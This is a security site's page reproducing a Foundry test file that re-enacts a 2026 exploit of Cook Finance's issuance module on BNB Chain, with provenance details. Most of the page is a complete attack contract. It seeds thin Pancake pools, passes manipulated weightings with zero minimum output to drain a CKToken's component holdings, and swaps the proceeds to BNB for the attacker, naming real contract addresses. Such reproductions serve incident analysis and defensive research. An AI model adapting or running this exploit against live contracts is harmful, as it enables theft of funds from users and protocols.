Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/CookFinanceIssuance_exp.sol

Public reproduction file for dataset entry CookFinanceIssuance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/CookFinanceIssuance_exp.sol258 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$50,000 USD
8// Attacker : 0xee18c4c2e123402731f43d680e75ca2809c30f8b
9// Attack Contract : 0xeffcb496cae89e7e92abe17d22386345707ceee4
10// Vulnerable Contract : 0x7db3cbaf736c049933a3af28dbed4a4442aa89d0
11// Victim CKToken in this tx : 0xa4e9f6032ee717710d8fd3dce0367d283e16f50e
12// Attack Tx : https://bscscan.com/tx/0x51e46828b7aabfa810910b3f8ca535053716e6bcb8b7f94a4ff59757d71a1bca
13//
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x7db3cbaf736c049933a3af28dbed4a4442aa89d0#code
16//
17// @Analysis
18// Twitter Guy : https://x.com/DefimonAlerts/status/2071497001443770684
19//
20// Attack summary: the attacker seeded thin Pancake component pools, called Cook Finance
21// issueWithSingleToken2 twice with caller-chosen component weightings, removed the seeded LP, and
22// sold the recovered CKToken components for BNB.
23// Root cause: issueWithSingleToken2 used attacker-supplied weightings to trade CKToken holdings
24// through a Pancake V2 spot-price adapter with zero minimum output, so thin-pool manipulation turned
25// a one-unit issue request into real CKToken component outflows.
27address constant ATTACKER = 0xEe18c4c2E123402731f43d680e75ca2809c30f8b;
28address constant HISTORICAL_ATTACK_CONTRACT = 0xeFFcB496CaE89E7E92abe17d22386345707CEEe4;
29address constant ISSUANCE_MODULE = 0x7Db3CBAf736C049933A3Af28dBeD4A4442aa89d0;
30address constant CK_TOKEN = 0xA4e9f6032ee717710D8Fd3dCE0367d283e16f50e;
31address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
32address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
33address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
35uint256 constant INITIAL_BNB = 0.02 ether;
36uint256 constant LARGE_SEED_BNB = 0.001 ether;
37uint256 constant SMALL_SEED_BNB = 0.0001 ether;
38uint256 constant PRECISE_UNIT = 1 ether;
39uint256 constant ISSUE_QUANTITY = 1;
40uint256 constant SMALL_COMPONENT_WEIGHT = 1_000_000 ether;
41uint256 constant TARGET_BALANCE_NUMERATOR = 999;
42uint256 constant TARGET_BALANCE_DENOMINATOR = 1000;
44interface ICKTokenCook {
45 function getComponents() external view returns (address[] memory);
46 function balanceOf(
47 address owner
48 ) external view returns (uint256);
51interface IIssuanceModuleV2 {
52 function issueWithSingleToken2(
53 address ckToken,
54 address issueToken,
55 uint256 issueTokenQuantity,
56 uint256 minCkTokenRec,
57 address[] calldata midTokens,
58 uint256[] calldata weightings,
59 address to,
60 bool returnDust
61 ) external;
64contract ContractTest is BaseTestWithBalanceLog {
65 function setUp() public {
66 uint256 forkBlock = 106_740_999;
67 vm.createSelectFork("bsc", forkBlock);
69 fundingToken = address(0);
70 attacker = ATTACKER;
72 vm.label(ATTACKER, "Attacker");
73 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
74 vm.label(ISSUANCE_MODULE, "Cook IssuanceModuleV2");
75 vm.label(CK_TOKEN, "Cook CKToken");
76 vm.label(PANCAKE_ROUTER, "Pancake router");
77 vm.label(PANCAKE_FACTORY, "Pancake factory");
78 vm.label(WBNB_TOKEN, "WBNB");
80 address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();
81 for (uint256 i = 0; i < components.length; i++) {
82 vm.label(components[i], string(abi.encodePacked("CK component ", vm.toString(i))));
83 }
84 }
86 function testExploit() public balanceLog {
87 address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();
88 uint256 ckCakeBefore = IERC20(components[0]).balanceOf(CK_TOKEN);
89 uint256 ckVbnbBefore = IERC20(components[1]).balanceOf(CK_TOKEN);
91 vm.deal(ATTACKER, INITIAL_BNB);
93 vm.startPrank(ATTACKER);
94 CookFinanceIssuanceAttack attack = new CookFinanceIssuanceAttack{value: INITIAL_BNB}(ATTACKER);
95 attack.execute();
96 vm.stopPrank();
98 uint256 attackerProfit = ATTACKER.balance - INITIAL_BNB;
99 assertGt(attackerProfit, 2.7 ether);
100 assertLt(IERC20(components[0]).balanceOf(CK_TOKEN), ckCakeBefore);
101 assertLt(IERC20(components[1]).balanceOf(CK_TOKEN), ckVbnbBefore);
102 }
105contract CookFinanceIssuanceAttack {
106 address private immutable profitReceiver;
108 constructor(
109 address receiver
110 ) payable {
111 profitReceiver = receiver;
112 }
114 function execute() external {
115 address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();
116 require(components.length == 8, "unexpected component count");
118 approveComponents(components);
120 // step 1: seed CAKE/component pools and make the module sell the CKToken's CAKE balance.
121 seedFirstIssueCycle(components);
122 issueWithManipulatedWeight(components, 0);
123 removeSeededLiquidity(components, 0);
125 // step 2: seed vBNB/component pools and repeat against the CKToken's vBNB balance.
126 seedSecondIssueCycle(components);
127 issueWithManipulatedWeight(components, 1);
128 removeSeededLiquidity(components, 1);
130 // step 3: convert recovered components to BNB and forward the native profit.
131 swapComponentsToBnb(components);
132 payable(profitReceiver).transfer(address(this).balance);
133 }
135 function seedFirstIssueCycle(
136 address[] memory components
137 ) private {
138 buyWithBnb(components[0], LARGE_SEED_BNB);
139 buyWithBnb(components[0], SMALL_SEED_BNB);
140 buyWithBnb(components[1], SMALL_SEED_BNB);
141 addThinLiquidity(components[0], components[1]);
143 for (uint256 i = 2; i < components.length; i++) {
144 buyWithBnb(components[i], SMALL_SEED_BNB);
145 addThinLiquidity(components[0], components[i]);
146 }
147 }
149 function seedSecondIssueCycle(
150 address[] memory components
151 ) private {
152 buyWithBnb(components[1], LARGE_SEED_BNB);
153 buyWithBnb(components[0], SMALL_SEED_BNB);
154 addThinLiquidity(components[1], components[0]);
156 for (uint256 i = 2; i < components.length; i++) {
157 buyWithBnb(components[1], SMALL_SEED_BNB);
158 buyWithBnb(components[i], SMALL_SEED_BNB);
159 addThinLiquidity(components[1], components[i]);
160 }
161 }
163 function issueWithManipulatedWeight(
164 address[] memory components,
165 uint256 issueIndex
166 ) private {
167 address issueToken = components[issueIndex];
168 address[] memory midTokens = new address[](components.length);
169 uint256[] memory weightings = new uint256[](components.length);
171 for (uint256 i = 0; i < components.length; i++) {
172 weightings[i] = SMALL_COMPONENT_WEIGHT;
173 }
175 uint256 ckIssueTokenBalance = IERC20(issueToken).balanceOf(CK_TOKEN);
176 uint256 targetSellAmount = (ckIssueTokenBalance * TARGET_BALANCE_NUMERATOR) / TARGET_BALANCE_DENOMINATOR;
177 weightings[issueIndex] = targetSellAmount * PRECISE_UNIT;
179 IERC20(issueToken).approve(ISSUANCE_MODULE, ISSUE_QUANTITY);
180 IIssuanceModuleV2(ISSUANCE_MODULE)
181 .issueWithSingleToken2(CK_TOKEN, issueToken, ISSUE_QUANTITY, 0, midTokens, weightings, address(this), true);
182 }
184 function addThinLiquidity(
185 address baseToken,
186 address component
187 ) private {
188 uint256 baseAmount = IERC20(baseToken).balanceOf(address(this)) / 10;
189 uint256 componentAmount = IERC20(component).balanceOf(address(this));
191 if (baseAmount == 0 || componentAmount == 0) return;
193 IPancakeRouter(payable(PANCAKE_ROUTER))
194 .addLiquidity(
195 baseToken, component, baseAmount, componentAmount, 0, 0, address(this), block.timestamp + 1 hours
196 );
198 address pair = IUniswapV2Factory(PANCAKE_FACTORY).getPair(baseToken, component);
199 IERC20(pair).approve(PANCAKE_ROUTER, type(uint256).max);
200 }
202 function removeSeededLiquidity(
203 address[] memory components,
204 uint256 baseIndex
205 ) private {
206 address baseToken = components[baseIndex];
208 for (uint256 i = 0; i < components.length; i++) {
209 if (i == baseIndex) continue;
211 address pair = IUniswapV2Factory(PANCAKE_FACTORY).getPair(baseToken, components[i]);
212 uint256 liquidity = IERC20(pair).balanceOf(address(this));
213 if (liquidity == 0) continue;
215 IPancakeRouter(payable(PANCAKE_ROUTER))
216 .removeLiquidity(baseToken, components[i], liquidity, 0, 0, address(this), block.timestamp + 1 hours);
217 }
218 }
220 function swapComponentsToBnb(
221 address[] memory components
222 ) private {
223 for (uint256 i = 0; i < components.length; i++) {
224 uint256 balance = IERC20(components[i]).balanceOf(address(this));
225 if (balance == 0) continue;
227 address[] memory path = new address[](2);
228 path[0] = components[i];
229 path[1] = WBNB_TOKEN;
231 IPancakeRouter(payable(PANCAKE_ROUTER))
232 .swapExactTokensForETH(balance, 0, path, address(this), block.timestamp + 1 hours);
233 }
234 }
236 function buyWithBnb(
237 address token,
238 uint256 amount
239 ) private {
240 address[] memory path = new address[](2);
241 path[0] = WBNB_TOKEN;
242 path[1] = token;
244 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactETHForTokens{value: amount}(
245 0, path, address(this), block.timestamp + 1 hours
246 );
247 }
249 function approveComponents(
250 address[] memory components
251 ) private {
252 for (uint256 i = 0; i < components.length; i++) {
253 IERC20(components[i]).approve(PANCAKE_ROUTER, type(uint256).max);
254 }
255 }
257 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “CookFinanceIssuance” (2026-06-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xee18c4c2e123402731f43d680e75ca2809c30f8b

  • Attack Contract

    0xeffcb496cae89e7e92abe17d22386345707ceee4

  • Vulnerable Contract

    0x7db3cbaf736c049933a3af28dbed4a4442aa89d0

  • Victim

    0xa4e9f6032ee717710d8fd3dce0367d283e16f50e

  • Attack Tx

    0x51e46828b7aabfa810910b3f8ca535053716e6bcb8b7f94a4ff59757d71a1bca

File record

Name
CookFinanceIssuance
Path
src/test/2026-06/CookFinanceIssuance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1d5719e96e4278f4528c430582758b7fff308f0b
Language
Solidity
Size
259 lines
Date
2026-06-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/CookFinanceIssuance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d5719e96e4278f4528c430582758b7fff308f0b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.